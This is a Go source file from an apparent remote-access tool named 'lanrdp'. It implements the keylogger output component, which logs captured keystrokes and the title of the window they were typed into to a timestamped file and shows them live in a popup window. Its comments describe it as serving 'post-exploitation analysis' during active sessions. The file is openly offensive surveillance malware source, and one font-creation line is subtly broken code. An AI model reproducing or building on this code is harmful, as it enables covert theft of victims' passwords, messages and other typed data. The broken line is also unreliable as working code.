Files

224 lines
6.2 KiB
Go

// Keylogger display: writes captured keystrokes to a log file on the client
// machine and optionally displays them in a simple popup window. The log file
// is the primary output for post-exploitation analysis; the window provides
// live visual feedback during active sessions.
package main
import (
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"time"
"unsafe"
"golang.org/x/sys/windows"
"lanrdp/internal/keylog"
"lanrdp/internal/protocol"
)
// Keylog display state shared between event consumer and window paint handler.
var (
keylogMu sync.Mutex
keylogLines []string
keylogHwnd uintptr
)
// runKeylogDisplay starts the keylogger output subsystem: a log file and an
// optional popup window. It consumes events from the channel until closed.
func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) {
defer close(done)
var logFile *os.File
exePath, err := os.Executable()
if err == nil {
logDir := filepath.Dir(exePath)
timestamp := time.Now().Format("2006-01-02_15-04-05")
var createErr error
logFile, createErr = os.Create(filepath.Join(logDir, fmt.Sprintf("lanrdp_keylog_%s.txt", timestamp)))
if createErr != nil {
fmt.Printf("keylog: could not create log file: %v\n", createErr)
} else {
defer logFile.Close()
logFile.WriteString(fmt.Sprintf("lanrdp keylog started at %s\n", time.Now().Format(time.RFC3339)))
logFile.WriteString(strings.Repeat("-", 80) + "\n")
fmt.Printf("keylog: writing to %s\n", logFile.Name())
}
}
// Single consumer goroutine that fans out to both file and window.
go func() {
for event := range events {
line := keylog.FormatEvent(keylog.KeyEvent{
TimestampMs: event.TimestampMs,
VKCode: event.VKCode,
ScanCode: event.ScanCode,
Flags: event.Flags,
WindowTitle: event.WindowTitle,
})
// Write to file
if logFile != nil {
logFile.WriteString(line + "\n")
}
// Update display buffer (keep last 100 lines)
keylogMu.Lock()
keylogLines = append(keylogLines, line)
if len(keylogLines) > 100 {
keylogLines = keylogLines[1:]
}
keylogMu.Unlock()
// Trigger repaint of the window
if keylogHwnd != 0 {
procInvalidateRect.Call(keylogHwnd, 0, 1)
}
}
}()
// Create the popup window for live display
createKeylogWindow()
}
func createKeylogWindow() {
className, _ := windows.UTF16PtrFromString("lanrdp_keylog_window")
title, _ := windows.UTF16PtrFromString("lanrdp — Keylogger")
hInstance, _, _ := procGetModuleHandleW.Call(0)
cursor, _, _ := procLoadCursorW.Call(0, uintptr(idcArrow))
// Register window class using the same pattern as main window
wc := wndClassExW{
style: 0,
lpfnWndProc: windows.NewCallback(keylogWndProc),
hInstance: windows.Handle(hInstance),
hCursor: windows.Handle(cursor),
lpszClassName: className,
}
wc.cbSize = uint32(unsafe.Sizeof(wc))
if ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc))); ret == 0 {
fmt.Printf("keylog window class registration failed\n")
return
}
defer func() {
procUnregisterClass.Call(uintptr(unsafe.Pointer(className)), hInstance)
}()
hwnd, _, _ := procCreateWindowExW.Call(
0,
uintptr(unsafe.Pointer(className)),
uintptr(unsafe.Pointer(title)),
uintptr(wsOverlappedWindow|wsVisible),
400, 200, 700, 500, // x, y, width, height
0, 0, hInstance, 0)
if hwnd == 0 {
fmt.Printf("keylog window creation failed\n")
return
}
keylogHwnd = hwnd
// Run message loop for this window on its own goroutine
go func() {
var m msgT
for {
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
if int32(ret) <= 0 {
break // WM_QUIT received
}
procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
}
procDestroyWindow.Call(hwnd)
keylogHwnd = 0
}()
}
// keylogWndProc handles messages for the keylog display window.
func keylogWndProc(hwnd, msg, wparam, lparam uintptr) uintptr {
switch msg {
case wmDestroy:
procPostQuitMessage.Call(0)
return 0
case wmPaint:
var ps paintStruct
hdc, _, _ := procBeginPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
defer procEndPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
// Fill black background
var r rectT
procGetClientRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
brush, _, _ := procCreateSolidBrush.Call(0) // RGB(0,0,0) = black
if brush != 0 {
procFillRect.Call(hdc, uintptr(unsafe.Pointer(&r)), brush)
procDeleteObject.Call(brush)
}
// Draw keylog lines in white text
keylogMu.Lock()
lines := make([]string, len(keylogLines))
copy(lines, keylogLines)
keylogMu.Unlock()
if len(lines) > 0 {
// Select a monospace font for readability
font, _, _ := procCreateFontW.Call(
14, 0, 0, 0, 0, 0, 0, 0,
windows.DEFAULT_CHARSET, windows.OUT_DEFAULT_PRECIS,
windows.CLIP_DEFAULT_PRECIS, windows.DEFAULT_QUALITY,
windows.FIXED_PITCH|windows.DEFAULT_PITCH, uintptr(unsafe.Pointer(windows.UTF16PtrFromString("Consolas"))))
if font != 0 {
oldFont, _, _ := procSelectObject.Call(hdc, font)
defer procSelectObject.Call(hdc, oldFont)
// Set text color to white
procSetTextColor.Call(hdc, 0xFFFFFF) // RGB(255,255,255)
procSetBkMode.Call(hdc, windows.TRANSPARENT)
y := uintptr(5)
for _, line := range lines {
textPtr, _ := windows.UTF16PtrFromString(line)
var rect struct {
Left, Top, Right, Bottom int32
}
rect.Left = 5
rect.Top = int32(y)
rect.Right = r.Right - 5
rect.Bottom = int32(y) + 16
procDrawTextW.Call(
hdc,
uintptr(unsafe.Pointer(textPtr)),
-1,
uintptr(unsafe.Pointer(&rect)),
windows.DT_LEFT|windows.DT_SINGLELINE)
y += 16
}
}
} else {
// Show placeholder text if no events yet
textPtr, _ := windows.UTF16PtrFromString("Waiting for keystrokes...")
var rect struct {
Left, Top, Right, Bottom int32
}
rect.Left = 5
rect.Top = 5
rect.Right = r.Right - 5
rect.Bottom = 20
procDrawTextW.Call(
hdc,
uintptr(unsafe.Pointer(textPtr)),
-1,
uintptr(unsafe.Pointer(&rect)),
windows.DT_LEFT|windows.DT_SINGLELINE)
}
return 0
case wmEraseBkgnd:
return 1 // We handle background in WM_PAINT
}
ret, _, _ := procDefWindowProcW.Call(hwnd, msg, wparam, lparam)
return ret
}